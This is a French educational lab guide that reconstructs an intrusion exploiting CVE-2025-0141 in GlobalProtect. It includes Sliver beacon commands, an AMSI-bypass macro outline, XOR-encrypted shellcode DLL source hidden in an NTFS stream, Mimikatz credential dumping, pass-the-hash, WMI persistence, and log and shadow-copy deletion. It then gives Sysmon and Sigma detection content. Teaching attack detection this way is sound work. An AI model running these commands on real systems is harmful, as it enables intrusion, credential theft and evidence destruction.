⚠ Laboratoire éducatif – Toute utilisation en dehors d’un environnement isolé est interdite.

Attaque réaliste avec CVE‑2025‑0141
Analyse, détection, remédiation – Guide complet

De l'infrastructure aux contre‑mesures : un scénario d'intrusion moderne décortiqué étape par étape.

CVE-2025-0141 Sliver C2 Sysmon SIEM EDR Forensic

📖 Sommaire

1. Introduction et objectifs pédagogiques

Ce laboratoire reproduit une attaque ciblée exploitant la vulnérabilité CVE‑2025‑0141, un chemin de recherche non sécurisé dans le client VPN GlobalProtect de Palo Alto Networks. Vous apprendrez à :

Prérequis techniques : VirtualBox, Vagrant, connaissances de base en Windows et en ligne de commande. Tous les scripts et commandes sont fournis.

2. Architecture du laboratoire

2.1 Topologie

graph LR subgraph Réseau lab.local DC[SRV-DC01 Win 2022] --- SW[Commutateur virtuel] CL[CLIENT01 Win 10, GlobalProtect vulnérable] --- SW end KALI[Kali Linux Sliver, outils] --- SW ELK[SIEM Elastic – facultatif] --- SW

2.2 Provisionnement avec Vagrant

Le dépôt du laboratoire contient un Vagrantfile et des scripts d'amorçage. Exemple pour CLIENT01 :

Vagrant.configure("2") do |config|
  config.vm.define "client01" do |c|
    c.vm.box = "gusztavvargadr/windows-10-22h2"
    c.vm.network "private_network", ip: "192.168.56.101"
    c.vm.provision "shell", inline: <<-POWERSHELL
      # Installation de GlobalProtect 6.1.4 vulnérable
      Invoke-WebRequest -Uri "http://192.168.56.1/gp.msi" -OutFile "$env:TEMP\\gp.msi"
      Start-Process msiexec -Wait -ArgumentList "/i $env:TEMP\\gp.msi /qn"
      # Sysmon avec config SwiftOnSecurity
      Invoke-WebRequest -Uri "http://192.168.56.1/sysmon-config.xml" -OutFile "$env:TEMP\\sysmon.xml"
      .\Sysmon64.exe -accepteula -i "$env:TEMP\\sysmon.xml"
      # Winlogbeat pour envoi vers SIEM
      ...
    POWERSHELL
  end
end

2.3 Configuration des machines

3. Accès initial – Phishing armé et évasion d'AMSI

L'attaquant envoie un email contenant un document Word malveillant. À l'ouverture, une macro VBA exécute un shellcode Sliver en mémoire.

3.1 Génération du shellcode Sliver

sliver > generate beacon --mtls 192.168.56.1:443 --save /tmp/beacon.bin --format shellcode

3.2 Contournement d'AMSI dans la macro

Pour éviter la détection par AMSI, la macro patche la mémoire d'amsi.dll avant d'exécuter la charge PowerShell.

' Technique AMSI bypass (extrait VBA)
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
' ... patch amsi!AmsiScanBuffer ...

3.3 Macro finale et lancement

Sub AutoOpen()
    ' AMSI bypass + injection du shellcode via VirtualAlloc / CreateThread
End Sub

L'utilisateur ouvre le document, le beacon Sliver se connecte au C2. L'attaquant obtient un shell interactif avec les droits de lab\jean.

sequenceDiagram participant U as Utilisateur participant W as Word participant S as Sliver C2 U->W: Ouvre facture.docm W->W: Macro AutoOpen W->W: Patch AMSI W->W: Alloue mémoire, copie shellcode W->S: Connexion TLS mutuelle sur 192.168.56.1:443 S-->W: Beacon actif

4. Reconnaissance post‑exploitation (utilisateur standard)

Depuis le beacon Sliver, l'attaquant énumère le système pour identifier le chemin d'élévation.

sliver (beacon) > execute whoami /priv
sliver (beacon) > execute net user jean
sliver (beacon) > execute wmic product get name,version | findstr GlobalProtect
sliver (beacon) > execute icacls "C:\ProgramData\Palo Alto Networks\GlobalProtect\cache"
sliver (beacon) > execute sc qc PanGPS

Le service PanGPS tourne en NT AUTHORITY\SYSTEM. Le dossier cache est accessible en écriture aux utilisateurs. La version 6.1.4 est vulnérable. Toutes les conditions sont réunies.

graph TD A[Beacon utilisateur] --> B[Produits installés] B --> C[GlobalProtect 6.1.4] A --> D[Permissions cache] D --> E[BUILTIN\Users peut écrire] C --> F[Vulnérable] E --> F F --> G[Planification élévation]

5. Élévation de privilèges – CVE‑2025‑0141 en profondeur

5.1 Création de la DLL malveillante furtive

Pour échapper aux EDR, la DLL n'est jamais écrite sur le disque sous sa forme déchiffrée. Le shellcode Sliver est d'abord chiffré en XOR, puis intégré dans une DLL qui se déchiffre en mémoire au moment du chargement.

# Chiffrement
python3 xor.py /tmp/beacon.bin 0xAA > /tmp/beacon_enc.bin
# Génération du tableau C pour inclusion
xxd -i /tmp/beacon_enc.bin
// payload.c
#include <windows.h>
unsigned char enc[] = { 0x4d, 0x8f, ... }; // shellcode XOR 0xAA
void decrypt() { for(int i=0;i<sizeof(enc);i++) enc[i]^=0xAA; }
BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID lp) {
    if(r == DLL_PROCESS_ATTACH) {
        decrypt();
        DWORD old;
        VirtualProtect(enc, sizeof(enc), PAGE_EXECUTE_READWRITE, &old);
        ((void(*)())enc)();
    }
    return TRUE;
}

5.2 Cacher la DLL avec un Alternate Data Stream (ADS)

Sur NTFS, on place la DLL dans un flux ADS pour éviter qu'elle n'apparaisse dans les listes de fichiers ordinaires.

sliver (beacon) > upload pan.dll "C:\ProgramData\Palo Alto Networks\GlobalProtect\cache:pan.dll"

5.3 Déclenchement

sliver (beacon) > execute sc stop PanGPS
sliver (beacon) > execute sc start PanGPS

Au démarrage, PanGPS.exe appelle LoadLibrary("pan.dll"). Grâce à la modification du répertoire de travail, il trouve notre flux ADS, charge la DLL, exécute DllMain qui déchiffre le shellcode et lance un nouveau beacon Sliver avec les droits SYSTEM.

sequenceDiagram participant B as Beacon user participant C as Cache (ADS) participant S as Service PanGPS (SYSTEM) B->C: Upload pan.dll:pan.dll B->S: sc stop / start S->C: LoadLibrary("pan.dll") → lecture ADS C-->S: Retourne la DLL S->S: DllMain → decrypt → shellcode S->B: Nouveau beacon SYSTEM

6. Post‑exploitation avec SYSTEM

6.1 Extraction de secrets (dump LSASS sans toucher le disque)

Pour éviter un fichier mimikatz.exe sur le disque, l'attaquant utilise execute-assembly de Sliver pour charger Mimikatz en mémoire.

sliver (beacon-system) > execute-assembly /tmp/mimikatz.exe "sekurlsa::logonpasswords" "exit"

Il récupère le hash NTLM du compte Administrateur du domaine, ainsi que des tickets Kerberos exploitables.

6.2 Mouvement latéral vers le contrôleur de domaine

sliver (beacon-system) > psexec --host 192.168.56.10 --user Administrator --hash <NTLM> --payload /tmp/beacon.exe

Un nouveau beacon Sliver s'exécute sur le DC avec les privilèges SYSTEM.

graph LR A[Beacon SYSTEM] -->|Pass-the-Hash| B[SRV-DC01] B --> C[Contrôle total du domaine]

6.3 Persistance avancée

L'attaquant installe plusieurs mécanismes de persistance :

# Exemple de persistance WMI
wmic /namespace:"\\root\subscription" PATH __EventFilter CREATE Name="GPUpdate", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 1800 WHERE TargetInstance ISA 'Win32_LocalTime'"
wmic /namespace:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="GPUpdateConsumer", CommandLineTemplate="rundll32.exe C:\\Windows\\Temp\\pan.dll,Start"

6.4 Effacement des traces

sliver (beacon-system) > execute wevtutil cl System
sliver (beacon-system) > execute wevtutil cl Security
sliver (beacon-system) > execute vssadmin delete shadows /all /quiet

7. Détection et réponse – Sysmon, Sigma, SIEM

Malgré l'effacement des logs, les événements Sysmon sont centralisés en temps réel vers le SIEM. Voici les traces incontournables.

7.1 Événement Sysmon ID 7 – Chargement de DLL suspecte

EventID: 7
UtcTime: 2025-07-18 12:03:45.123
Image: C:\Program Files\Palo Alto Networks\GlobalProtect\PanGPS.exe
ImageLoaded: C:\ProgramData\Palo Alto Networks\GlobalProtect\cache\pan.dll
SignatureStatus: Invalid
Hashes: SHA256=7B3E...

7.2 Règle Sigma correspondante

title: GlobalProtect CVE-2025-0141 – DLL malveillante chargée depuis cache
id: 9b4f8c3d-...
status: experimental
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image|endswith: '\PanGPS.exe'
        ImageLoaded|contains: '\cache\'
        ImageLoaded|endswith: '.dll'
        SignatureStatus: 'Invalid'
    condition: selection
level: critical

7.3 Autres indicateurs

graph TD A[Sysmon Event 7] -->|Sigma| B[Alerte critique] C[WMI Event 5861] --> B D[Netflow / C2 connection] --> B B --> E[Tableau de bord SIEM] E --> F[Notification analyste]

8. Remédiation et recommandations de sécurité

8.1 Actions immédiates

8.2 Correctif définitif

8.3 Mesures de durcissement

9. Quiz final

1. Quel mécanisme NTFS a été utilisé pour dissimuler la DLL malveillante ?

2. Quelle commande Sysmon permet de capturer le chargement de DLL ?

3. Pourquoi le Safe DLL Search Mode ne protège-t-il pas ici ?